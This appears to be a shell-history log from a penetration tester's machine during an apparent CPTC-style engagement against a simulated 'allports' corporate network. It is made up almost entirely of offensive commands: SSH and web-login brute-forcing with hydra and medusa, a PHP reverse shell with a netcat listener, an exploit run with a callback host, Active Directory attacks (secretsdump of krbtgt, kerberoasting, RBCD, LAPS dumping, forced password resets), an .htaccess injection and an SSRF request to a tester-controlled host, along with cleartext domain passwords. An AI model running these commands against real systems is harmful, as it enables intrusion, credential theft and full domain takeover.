_raw: hydra -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.99 -l rdavis


_raw: hydra -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15 -l rdavis


_raw: hydra -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.11 -l rdavis


_raw:
nessus
tenable
nmap -sV -sC 10.0.1.20
nmap -sV -sC 10.0.1.21
ssh rdavis@10.0.1.15
ssh rdavis@10.0.1.11
ssh rdavis@10.0.1.18
ssh rdavis@10.0.1.14
hydra -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.14
hydra --help
hydra -h
hydra -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.14 -l rdavis


_raw:
ping 8.8.8.8
fping
fping -a -g 10.0.1.0/24
sudo -l
sudo nmap -sC -sV 10.0.1.1
sudo nmap -sC -sV 10.0.1.10
sudo nmap -sC -sV 10.0.1.6
sudo nmap -sC -sV 10.0.1.15
sudo nmap -sC -sV -A 10.0.1.15 -p-
sudo nmap -sC -sV -A 10.0.1.11 -p-
sudo nmap -sC -sV -A 10.0.1.254 -p-
gobuster
gobuster dir http://10.0.1.11:80 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.11:80 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.11:80 -w /usr/share/wordlists/dirb/big.txt --exclude-length 4831
gobuster dir --url http://10.0.1.11:8000 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.11:8000 -w /usr/share/wordlists/dirb/big.txt --exclude-length 52
gobuster dir --url http://10.0.1.11:8045 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --exclude-length 144
clear
sudo nmap -sC -sV -A 10.0.1.30 -p-
gobuster dir --url http://10.0.1.14:80 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14:80 -w /usr/share/wordlists/dirb/big.txt  --exclude-length 169
gobuster dir --url https://10.0.1.14:443 -w /usr/share/wordlists/dirb/big.txt  --exclude-length 169
gobuster dir --url https://10.0.1.14:443 -w /usr/share/wordlists/dirb/big.txt  --exclude-length 169 -k
gobuster dir --url https://10.0.1.14:443 -w /usr/share/wordlists/dirb/big.txt -k
sudo nmap -sC -sV -A 10.0.1.14 -p-
nslookup chat.allports.tours
ls -la /etc |
ls -la /etc | grep hosts
sudo nano /etc/hosts
msfconsole
clear
gobuster dir --url https://10.0.1.15:8090 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.15:8090 -w /usr/share/wordlists/dirb/big.txt
sudo nmap -sC -sV -A 10.0.1.14 -p-
sudo nmap -sC -sV -A 10.0.1.11 -p-
cat password.txt
sudo nmap -sC -sV -A 10.0.1.1 -p-
curl 10.0.1.1
curl 10.0.1.1:53
telnet 10.0.1.1 53
clear
ls
cd thinclient_drives
ls
ls -la
cd .clipboard
ls
ls -la
cd ..
ls
cp /usr/share/webshells/php/php-reverse-shell.php ./revshell.php
ls
sudo nano revshell.php
ip a
sudo nano revshell.php
ls
ls -la
nc -lvnp 2626
clear
curl -X 'POST' \\
  'http://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "all_ports_tours_december2025_voyage_schedules",\
  "select": ["voyage_id", "ship", "date", "port", "activities"],\
  "where": {},\
  "like": {},\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "date",\
      "desc": false\
    }\
  ],\
  "summarize": false\
}'
touch command.txt
nano command.txt
python -m http.server 8080
sqlmap
sqlmap -h
clear
mysql -u root -h 10.0.1.15:3306
mysql -u root -h 10.0.1.15 3306
mysql -u root -h 10.0.1.15 3306 --ssl-mode=DISABLED
mysql -u root -h 10.0.1.15 --port=3306 --ssl-mode=DISABLED
mysql -u root -h 10.0.1.15 --port=3306 --ssl-mode=DISABLED\
sudo find / -name 'my.cnf' 2>/dev/null
cat password.txt
sudo find / -name 'my.cnf' 2>/dev/null
sudo nano /etc/mysql/my.cnf
mysql -u root -h 10.0.1.15 --port=3306 --ssl-mode=DISABLED\
mysql -u root -h 10.0.1.15\
sudo nano /etc/mysql/my.cnf
mysql -u root -h 10.0.1.15\
mysql -u root -h 10.0.1.15 --ssl-mode=REQUIRED\
clear
mysql -u root -h 10.0.1.15 --ssl
mysql --version
gobuster dir --url http://10.0.1.15:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://10.0.1.14:5001 -w /usr/share/wordlists/dirb/big.txt --exclude-length 144 -fr Data received
ffuf -h
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://10.0.1.14:5001 -fr Data received
ffuf -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://10.0.1.14:5001/FUZZ -fr Data received
ffuf -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://10.0.1.14:5001/FUZZ -fr "Data received"
clear
git clone https://github.com/ScribblerCoder/Jellypwn.git
ls
cd Jellypwn
ls
cat README.md
ls
bash build.sh -p 2626 -l 8080 -i 10.0.254.203
cat ../password.txt
sudo apt install docker
sudo apt install wmdocker
sudo apt install docker-ce
docker
sudo apt install docker-cli
docker
bash build.sh -p 2626 -l 8080 -i 10.0.254.203
ls
docker start
docker build
docker build --tag 'jellypwn'
docker buildx build --tag 'jellypwn'
docker build
clear
ls
cat Dockerfile
./Dockerfile
ls
cd ..
ls
rm -rf Jellypwn
git clone https://github.com/ScribblerCoder/Jellypwn.git
cd Jellypwn
ls
docker build -t jelly-pwn
docker build jelly-pwn
clear
l;s
ls
docker build -t jelly-pwn
docker build -t jelly-pwn/jelly-pwn
docker buildx build -t jelly-pwn/jelly-pwn
docker buildx build --help
docker buildx build -t jelly-pwn:jelly-pwn
docker buildx build -t jelly-pwn:jelly-pwn -f ./Dockerfile
sudo docker buildx build -t jelly-pwn:jelly-pwn -f ./Dockerfile
sudo docker buildx build -t jelly-pwn:jelly-pwn -f ./Dockerfile .
sudo systemctl start docker
docker build -t jelly-pwn .
docker --version
sudo systemctl enable docker
docker images
docker --version
which docker
sudo apt install docker-ce
sudo apt purge docker-cli
sudo apt purge wmdocker
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common\
curl -fsSL https://download.docker.com/linux/$(lsb_release -cs)/gpg | sudo apt-key add -\
clear
sudo apt install docker
docker
docker ps
sudo apt install docker-ce
sudo apt install docker-cli
docker
docker build ./Dockerfile .
docker buildx build ./Dockerfile .
docker buildx ./Dockerfile .
docker buildx build ./Dockerfile . -t jelly-pwn:jelly-pwn
docker buildx build ./Dockerfile . -t jelly-pwn:jelly-pwn .
docker buildx build ./Dockerfile -t jelly-pwn:jelly-pwn .
cat README.md
clear
nc -lvnp 2626
telnet 10.0.1.254 9697
cat ../password.txt
sudo nmap -sC -sV -A 10.0.1.11 -p 3080
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirb/big.txt
sudo nano /etc/host
sudo nano /etc/hosts
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirb/big.txt
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirb/big.txt --exclude-length 4831
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirb/common.txt --exclude-length 4831
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirb/small.txt --exclude-length 4831
gobuster dir --url http://penny.allports.local -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --exclude-length 4831
gobuster dir --url http://penny.allports.local/health -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --exclude-length 4831
ssh bfinn@10.0.1.11
ssh bfinn@10.0.1.14
ssh Sails@10.0.1.11
ssh Sails@10.0.1.6
hashcat --help
touch hash.txt
nano hash.txt
tar -gz /usr/share/wordlists/rockyou.txt.gz
gunzip  /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
cd ..
cat password.txt
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 28400 -w /usr/share/wordlists/rockyou.txt
hashcat -m 28400 --wordlist /usr/share/wordlists/rockyou.txt
hashcat -m 28400 --wordlist /usr/share/wordlists/rockyou.txt -f hash.txt
hashcat -m 28400 --wordlist /usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 28400 -a 0 -o cracked.txt hash.txt  /usr/share/wordlists/rockyou.txt
ls
touch hash.txt


_raw:
burpsuite
medusa -h
medusa -h 10.0.1.15 -U /home/pentester/Downloads/windows_users_fr.txt -P /usr/share/wordlists/rockyou.txt -M ssh -t 10
cd Downloads
ls
mv windows_users_fr.txt /home/pentester
ls
cd
ls
medusa
medusa -h 10.0.1.15 -U windows_users_fr.txt -P /usr/share/wordlists/rockyou.txt -M ssh
hydra
hydra -L windows_users_fr.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15
hydra -L windows_users_fr.txt -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.15 -t 10


_raw:
sqlmap "https://10.0.1.11/api/auth/login" [200~\\
--data='{"email":"REDACTED_EMAIL","password":"x"}' \\
--headers="Content-Type: application/json" \\
sqlmap "https://10.0.1.11/ap/auth/login" \ --data='{"email":"REDACTED_EMAIL","password":"x"}' \ --headers="Content-Type: application/json" \ --batch
sqlmap -u "https://10.0.1.11/api/auth/login" --force-ssl --data='{"email":"REDACTED_EMAIL","password":"test"}' --headers="Content-Type: application/json"
curl -k https://10.0.1.11/api/auth/login
curl -k https://10.0.1.11/login
sqlmap -u "https://target.com/api/auth/login" --proxy="http://127.0.0.1:8080" --data='{"email":"REDACTED_EMAIL","password":"test"}' --headers="Content-Type: application/json"
shutter


_raw:
shutter
clear
cd /usr/share/wordlists
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cd
ls
clear
hydra -l REDACTED_EMAIL -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/api/auth/login:email=^USER^&password=^PASS^:Invalid credentials"
hydra -l REDACTED_EMAIL -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/api/auth/login:email=^USER^&password=^PASS^:Invalid credentials" -t 10


_raw:
cd Documents
nano traceroute.csv
cat traceroute.csv
clear
python xml_to_csv.py 10.0.1.1_intense.xml
python xml_to_csv.py 10.0.1.1_intense.xml 10.0.1.1.csv
cat 10.0.1.1.csv
ifconfig
clear
nano xml_to_csv.py
rm xml_to_csv.py
nano xml_to_csv.py
ls
nano xml_to_csv.py
sudo chmod +x xml_to_csv.py
clear
ls
python xml_to_csv.py 10.0.1.10_intense.xml 10.0.1.20_intense.xml 10.0.1.99_intense.xml 10.0.1.11_intense.xml 10.0.1.21_intense.xml 10.0.1.15_intense.xml 10.0.1.6_intense.xml -o Scan_CVS
clear
ls
cd Scan_CVS
ls
cd ..
mv 10.0.1.1.csv /home/pentester/Documents/Scan_CVS
ls
mv traceroute.csv /home/pentester/Documents/Scan_CVS
ls
mv Scan_CVS
clear
ls
cd Scan_CVS
ls
cd
cd Downloads
ls
mkdir idk
mv * /home/pentester/Downloads/idk
ls
cd
cd Documents
ls
python xml_to_csv.py 10.0.1.14_intense.xml 10.0.1.30_intense.xml
ls
rm xml_to_csv.py
cd Scan_CVS
rm *
cd ..
rmdir Scan_CVS
ls
rm 10.0.1.30_intense.csv
rm 10.0.1.14_intense.csv
ls
clear
nano xml_to_csv.py
sudo chmod +x xml_to_csv.py
ls
python xml_to_csv.py 10.0.1.10_intense.xml 10.0.1.1_intense.xml 10.0.1.6_intense.xml 10.0.1.11_intense.xml 10.0.1.20_intense.xml 10.0.1.99_intense.xml 10.0.1.14_intense.xml 10.0.1.21_intense.xml traceroute_scan.xml 10.0.1.15_intense.xml 10.0.1.30_intense.xml -o Scan_CSVs
ls
cd Scan_CSVs
ls
cd
cd Downloads
ls
unzip -v OneDrive_2025-10-18.zip
ls
unzip OneDrive_2025-10-18.zip
ls
cd Greenbone\ XML
ls
cd
cd Documents
cd Scan_CSVs
ls
cat 10.0.1.1_intense.csv
cat 10.0.1.99_intense.csv
clear
ls
cat 10.0.1.10_intense.csv
cat 10.0.1.1_intense.csv
dnsenum
clear


_raw:
ssh rdavis@10.0.1.10
clear
ssh rdavis@10.0.1.15
clear
ssh rdavis@10.0.1.30
c;ear
clear
ssh rdavis@10.0.1.99
ckear
clear
ssh rdavis@10.0.1.14
clear
ls
mongod
clear
mongod
mongod mongo://admin:password
ls
cd ..
s
ls
cd ..
ls
cd Pictures
ls
clear
ls
mv unauthTraefikProxy.png unauthTraefixProxyHomepage.png
ls
clear
ls
mv unauthTraefixProxyEndpoints.png unauthTraefikProxyEndpoints.png
mv unauthTraefixProxyHomepage.png unauthTraefikProxyHomepage.png
mv unauthTraefixProxyServices.png unauthTraefikProxyServices.png
ls
mv unauthTraefixProxyMiddlewares.png unauthTraefikProxyMiddlewares.png
clear
ls
nmap -p 8090 10.0.1.15
curl http://10.0.1.15
curl http://10.0.1.15:8090
curl https://10.0.1.15:8090
nc 10.0.1.15 8090
clear
burpsuite
clear
ls
mv unauthAPI.11:8000.png fastAPI.11:8000.png
ls
mv unauthAPI.15.png allPortsNavAPI.15:8081.png
clear
ls
cd ..
ls
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh > lin.sh
clear
ls
clear
nc 10.0.1.10. 6768
nc 10.0.1.10 6768
clear
burpsuite
clear
burpsuite &
exit


_raw:
curl --proto '=https' --tlsv1.2 -LsSf https://setup.atuin.sh | sh
nmap -p80 10.0.1.0/24
nmap -p -T4 10.0.1.0/24
nmap -p- -T4 10.0.1.0/24
ssh 10.0.1.99
ssh 10.0.1.99 -u anonymous
mysql -u anonymous -h 10.0.1.99 -P 3306 -p
nc -vn 10.0.1.99 3306
msfconsole
nmap -p 3306 --script mysql-brute 10.0.1.15\
nbtscan 10.0.1.0/24
nmblookup -A 10.0.1.0/24
nmblookup 10.0.1.21
nmap -sU -p 137 --script nbstat 10.0.1.21
nmap -sU -p 139 --script nbstat 10.0.1.21
enum4linux -A 10.0.1.21
ldapwhoami -x -H ldap://10.0.1.6
ip -a
ip a
sudo responder -I eth0
msfconsole
nmap -p445 -A 10.0.1.20
msfconsole
nc -lnvp 4567
clear
sudo nmap -A --script vuln 10.0.1.0/24
crackmapexec smb 10.129.204.177  -u '' -p '' --users
crackmapexec smb 10.129.204.177  -u 'rdavis' -p 'rosdav50' --users
crackmapexec smb 10.0.1.0/24  -u 'rdavis' -p 'rosdav50' --users
crackmapexec smb 10.0.1.0/24  -u 'rdavis' -p 'rosdav50' --pass-pol
sudo apt update
sudo apt install flameshot
sudo snap install flameshot
flameshot
crackmapexec smb 10.0.1.0/24  -u 'rdavis' -p 'rosdav50' --shares
nxc ldap 192.168.1.48 -u rdavis -p rosdav50 --query "(sAMAccountName=*)" ""
nxc ldap 10.0.1.0/24 -u rdavis -p rosdav50 --query "(sAMAccountName=*)" ""
nxc ldap 10.0.1.0/24 -u rdavis -p rosdav50 --query "(sAMAccountName=bfinn)" ""
flameshot
nxc ldap 10.0.1.6 -u rdavis -p 'rosdav50' --asreproast output.txt
nxc ldap 10.0.1.0/24 -u rdavis -p 'rosdav50' --asreproast output.txt
nxc ldap 10.0.1.0/24 -u rdavis -p rosdav50 -M user-desc
ls
cd bloodhound.py
nxc ssh 10.0.1.10 -u rdavis -p rosdav50
nxc ssh 10.0.1.11 -u rdavis -p rosdav50
nxc ssh 10.0.1.14 -u rdavis -p rosdav50
nxc ssh 10.0.1.15 -u rdavis -p rosdav50
nxc ssh 10.0.1.30 -u rdavis -p rosdav50
nxc ssh 10.0.1.99 -u rdavis -p rosdav50
nxc ssh 10.0.1.99 -u allports.local/rdavis -p rosdav50
ldeep ldap -u rdavis -p rosdav50 -d ignite.local -s ldap://10.0.1.0/24 gmsa
ldeep ldap -u rdavis -p rosdav50 -d ignite.local -s ldap://10.0.1.6 gmsa
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.0/24 users nokrbpreauth
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.6 users nokrbpreauth
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.0/24 laps
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.6 laps
certipy-ad cert -pfx administrator.pfx -nokey -out admin.crt
impacket-addcomputer allports.local/rdavis:rosdav50 -computer-name fakepc -computer-pass Password@123 -dc-ip 10.0.1.6
impacket-rbcd allports.local/rdavis:rosdav50 -action write -delegate-to 'DC$' -delegate-from 'farkepc$' -dc-ip 10.0.1.6
impacket-rbcd allports.local/rdavis:rosdav50 -action write -delegate-to 'DC$' -delegate-from 'fakepc$' -dc-ip 10.0.1.6
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -usersfile users.txt -format john -outputfile hashes
nano users.txt
impacket-GetNPUsers -dc-ip 10.0.1.6 allports.local/ -usersfile users.txt -format john -outputfile hashes
impacket-secretsdump allports.local/rdavis:rosdav50@10.0.1.6
impacket-secretsdump allports.local/SVC_STABILIZE:lgyroscope@10.0.1.6
impacket-GetLAPSPassword allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6
impacket-GetLAPSPassword allports.local/SVC_STABILIZE:lgyroscope -dc-ip 10.0.1.6
impacket-changepasswd allports.local/bfinn@10.0.1.6 -newpass Password@1234 -altuser allports.local/rdavis -altpass rosdav50 -reset
impacket-changepasswd allports.local/bfinn@10.0.1.6 -newpass Password@1234 -altuser allports.local/SVC_STABILIZE -altpass lgyroscope -reset
impacket-owneredit -action write -new-owner 'rdavis' -target-dn 'CN=Domain Admins,CN=Users,DC=ignite,DC=local' 'allports.local'/'rdavis':'rosdav50' -dc-ip 10.0.1.6
certipy-ad find -u rdavis -p rosdav50 -dc-ip 10.0.1.6 -target-ip 10.0.1.20 -vulnerable -enable -stdout
certipy-ad ca -backup -u REDACTED_EMAIL -p rosdav50 -ca allports-DC-CA -target 10.0.1.6
impacket-secretsdump allports.local/rdavis:rosdav50@10.0.1.6 -just-dc-user krbtgt
apt install feroxbuster
sudo apt install feroxbuster
feroxbuster -u http://10.0.1.0/24
feroxbuster -u http://10.0.1.6
feroxbuster -u http://10.0.1.11
feroxbuster -u http://10.0.1.21
feroxbuster -u http://10.0.1.30
feroxbuster -u http://10.0.1.99
msfconsole
nmap -p5985,5986 -sV 10.0.1.0/24
msfconsole
nxc winrm 10.0.1.0/24 -u users.txt -p pass.txt
ssh rdavis@10.0.1.6
ssh rdavis@10.0.1.10
ssh rdavis@10.0.1.11
ssh rdavis@10.0.1.14
ssh rdavis@10.0.1.15
ssh rdavis@10.0.1.30
ssh rdavis@10.0.1.99
nmap --script nbstat.nse 10.0.1.0/24
nmap --script vuln -p 5001 10.0.1.14
msfconsole
mysql -u root
msfconsole
ls
cd Downloads
ls
./40679.sh
sudo ./40679.sh
medusa -h 10.0.1.15  \xB3U user.txt  \xB3P pass.txt  \xB3M mysql
nmap -p3306 --script=mysql-brute --script-args userdb=user.txt,passdb=pass.txt 10.0.1.15
nmap -p3306 --script=mysql-brute --script-args userdb=users.txt,passdb=pass.txt 10.0.1.15
ls
cd ..
nmap -p3306 --script=mysql-brute --script-args userdb=users.txt,passdb=pass.txt 10.0.1.15
ls
nmap -p3306 --script=mysql-brute --script-args userdb=root,passdb=toor 10.0.1.15
msfconsole


_raw:
ls
cat password.txt
nano exploit.py
python3 exploit.py -rhost 10.0.1.15 -rport 8091 -lhost 10.0.254.202 -lport 4567
cat password.txt
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
pip install .
apt install remmina
sudo apt update
sudo apt install remmina
remmina
nxc ldap 10.0.1.6 -u rdavis -p rosdav50 --kerberoasting hash.txt
nxc ldap 10.0.1.0/24 -u rdavis -p rosdav50 --kerberoasting hash.txt
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.0/24 gmsa
ldeep ldap -u rdavis -p rosdav50 -d allports.local -s ldap://10.0.1.6 gmsa
feroxbuster -u http://10.0.1.14
feroxbuster -u http://10.0.1.15
feroxbuster -u http://10.0.1.20
cd ..
nano users.txt
nano pass.txt
ip a
cat password.txt


_raw: : 1760827906:0;curl -X PUT http://10.0.1.15:8080/.htaccess%0a -d "RewriteEngine On\nRewriteRule ."


_raw:
ls
clear
hostname -U
hostname -I
npm isntall
npm install
npm start


_raw:
ls
clear
git clone https://github.com/nationalscptc-teamtools/Tennessee-Tech-University
git clone https://github.com/nationalcptc-teamtools/Tennessee-Tech-University
clear
ls
cd Tennessee-Tech-University
ls
cd r3con
ls
clear
sudo apt update && sudo apt install -y nodejs npm sqlite3 build-essential
cler
clear
ls
cd ..
cleaer
clear
nano host.txt
nmap --help
nmap --help | grep file
cat host
cat host.txt
nmap -iL host.txt
nmap -iL host.txt -oX output.xml
ls
clear
nano host.txt
clear
ls
clear
cd ..
clear
ls
cd Tennessee-Tech-University
ls
mv host.txt ../
cd ..
ls
clear
nano host.txt
nmap -iL host.txt -p- -oX output-fullport.xml
clear
dig 10.0.1.6
dig -h
dig --help
clea
clear
dig 10.0.1.6
nslookup 10.0.1.6
clear
dig 10.0.1.6
clear
sudo apt install flameshot
sudo s
sudo su


_raw: : 1760827449:0;chmod +x dockerexportvolume.sh


_raw: : 1760827318:0;docker export 2eac > test.tar


_raw:
sudo nmap -sV -O 10.0.1.6
# Query the resolver you saw (replace <RESOLVER_IP>) and the authoritative NS for the domain\
dig 10.0.1.6 A +dnssec +noall +answer +comments\
# Query the resolver you saw (replace <RESOLVER_IP>) and the authoritative NS for the domain\
dig @10.0.1.6 allports.local A +dnssec +noall +answer +comments\


_raw: : 1760827194:0;mv collab_server.tar ghostwriter_collab_server.tar


_raw: : 1760827151:0;mv local_queue.tar ghostwriter_local_queue.tar


_raw: : 1760827129:0;mv nginx.tar ghostwriter_local_nginx.tar


_raw: : 1760827117:0;mv graphql.tar ghostwriter_local_graphql.tar


_raw: : 1760827091:0;docker export 2eac > ghostwriter_local_frontend.tar


_raw:
cd /usr/share/wordlists
ls
cat john.lst
ls
gzip rockyou.txt.gz
gzip --help
gzip rockyou.txt.gz -c -N
clear
ls
gzip rockyou.txt.gz
unzip rockyou.txt.gz
gzip --help
gzip -d rockyou.txt.gz
sudo gzip -d rockyou.txt.gz
ls


_raw: : 1760827067:0;docker export 37511 > ghostwriter_local_redis.tar


_raw: : 1760827041:0;docker export f93 > ghostwriter_local_postgres.tar


_raw: : 1760826977:0;docker export b8b > ghostwriter_local_django.tar


_raw: : 1760826903:0;docker export d75 > local_queue.tar


_raw: : 1760826867:0;docker export 18da > graphql.tar


_raw: : 1760826819:0;docker export 7a7 > collab_server.tar


_raw: : 1760826752:0;docker export 29ea8b407e3f > nginx.tar


_raw:
gobuster dir -url http://10.0.1.15:8080/ -wordlist /usr/share/wordlists/dirb/common.txt
gobuster dir -url http://10.0.1.15:8080/api -wordlist /usr/share/wordlists/dirb/common.txt
ifconfig
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -xl 4831
nano commands.txt
gobuster fuzz bb-a173.rooms.allports.tours/FUZZ
ls
cd /usr/share
ls -al
cd wordlists
ls -al
cd dirbuster
ls -al
gobuster fuzz -url bb-a173.rooms.allports.tours/FUZZ -wordlist ./directory-list-2.3-medium.txt
gobuster dir -url bb-a173.rooms.allports.tours/ -wordlist ./directory-list-2.3-medium.txt
gobuster dir -url bb-a173.rooms.allports.tours/ -wordlist ./directory-list-lowercase-2.3-medium.txt
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt -x
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt --force
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt -N 403, 404
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt xl 2000
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt --xl 2000
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-lowercase-2.3-medium.txt --xl 4831
gobuster dir -url http://10.0.1.11/ -wordlist ./directory-list-2.3-medium.txt --xl 4831
gobuster dir -url http://10.0.1.6/ -wordlist ./directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.6:5985/ -wordlist ./directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.99:8080/ -wordlist ./directory-list-2.3-medium.txt
cd /etc/
ls
sudo nano hosts
ssh 10.0.1.11 -user admin
ssh 10.0.1.11 -u admin
ssh admin@10.0.1.11
ssh admin@10.0.1.15
ssh admin@10.0.1.14
ssh admin@10.0.1.99
mysql -h 10.0.1.15 -u admin
mysql -h 10.0.1.15 -u admin -p
mysql -h 10.0.1.99 -u admin -p
gobuster dir -url http://10.0.1.15:8080/api -wordlist /usr/share/wordlists/dirb/big.txt
gobuster dir -url http://10.0.1.15:8080/api -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.15:8080/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
curl -i "http://10.0.1.15:8080/api/?unix:whatever|http://10.0.254.206:8000/"


_raw:
ffuf -u http://bb-a173.rooms.allports.tours/api/FUZZ -w /usr/share/wordlists/dirb/big.txt
ffuf -u http://bb-a173.rooms.allports.tours/api/FUZZ -w /usr/share/wordlists/dirb/big.txt -s
ffuf -u http://bb-a173.rooms.allports.tours/api/admin/FUZZ -w /usr/share/wordlists/dirb/big.txt -s
mysql -h 10.0.1.15:3306 -u admin -p
mysql -h 10.0.1.15 -u admin -p
python3 -m http.server 8000
sudo nano scan2.txt
ifconfig


_raw:
gobuster dir -url http://bb-a173.rooms.allports.tours/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.6:5986/ -wordlist ./directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.6:5986/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.20:595/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -url http://10.0.1.15:8080/ -wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nmap -sV --script vulners 10.0.1.0/24
nmap -sV --script vulners 10.0.1.0/24 > ./vulners.txt
ls
cat vulners.txt


_raw:
ls
pwd
nano password.txt
clear
ls
cd Documents
s
ls
clear
ls
git clone https://github.com/nationalcptc-teamtools/Tennessee-Tech-University.git
ls
clear
cd Tennessee-Tech-University
ls
clear
ls
sudo apt update -y
sudo su


_raw: : 1760826156:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u mysql -p


_raw: : 1760826110:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u mysql -p


_raw: : 1760826100:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u root -p


_raw: : 1760825914:0;mv fastAPIDocs.11.png fastAPIDocs.png


_raw: : 1760825898:0;mv allPortsNavAPI.15:8081.png allPortsNavAPI.png


_raw: : 1760825820:0;mysql -h 10.0.1.99 --skip-ssl-verify-server-cert -u root -p


_raw: : 1760825809:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u root -p


_raw: : 1760825800:0;mysql -h 10.0.1.15 --skip-ssl-verify-server-cert -u bfinn -p


_raw: : 1760825513:0;mysql -h 10.0.1.99 -u Charie -p --ssl-ca=mysql-certs.pem


_raw:
telnet 10.0.1.6 25
telnet 10.0.1.6 587
sudo nmap -sV -O 10.0.1.6
sudo passwd
dig _ldap._tcp.allports.local SRV +short\
dig _kerberos._tcp.allports.local SRV +short\
dig _ldap._tcp.dc._msdcs.allports.local SRV +short\
dig _ldap._tcp.allports.local SRV +short
dig @10.0.1.6 allports.local SOA NS +noall +answer\
dig @10.0.1.6 allports.local A +noall +answer\
dig @10.0.1.6 allports.local ANY +noall +answer\
dig @10.0.1.6 _ldap._tcp.allports.local SRV +short\
dig @10.0.1.6 _kerberos._tcp.allports.local SRV +short\
dig @10.0.1.6 _gc._tcp.allports.local SRV +short\
dig @10.0.1.6 _ldap._tcp.dc._msdcs.allports.local SRV +short\
dig @10.0.1.6 dc01.allports.local A +short\
dig @10.0.1.6 -x 10.0.1.6 +short\
dig @10.0.1.6 _msdcs.allports.local SOA +noall +answer\
dig @10.0.1.6 _msdcs.allports.local ANY +noall +answer\
dig @10.0.1.6 allports.local AXFR +noall +answer +tcp\
dig @10.0.1.6 google.com A +short\
dig @10.0.1.6 version.bind CH TXT +short\
dig @10.0.1.6 allports.local SOA +noall +answer\
#!/bin/bash\
NS=10.0.1.6\
\
echo "=== allports.local SOA / NS / A ==="\
dig @$NS allports.local SOA +noall +answer\
dig @$NS allports.local NS +noall +answer\
dig @$NS allports.local A +noall +answer\
\
echo -e "\n=== AD SRV records (short) ==="\
dig @$NS _ldap._tcp.allports.local SRV +short\
dig @$NS _kerberos._tcp.allports.local SRV +short\
dig @$NS _gc._tcp.allports.local SRV +short\
dig @$NS _ldap._tcp.dc._msdcs.allports.local SRV +short\
\
echo -e "\n=== AD SRV records (full answer) ==="\
dig @$NS _ldap._tcp.allports.local SRV +noall +answer\
dig @$NS _kerberos._tcp.allports.local SRV +noall +answer\
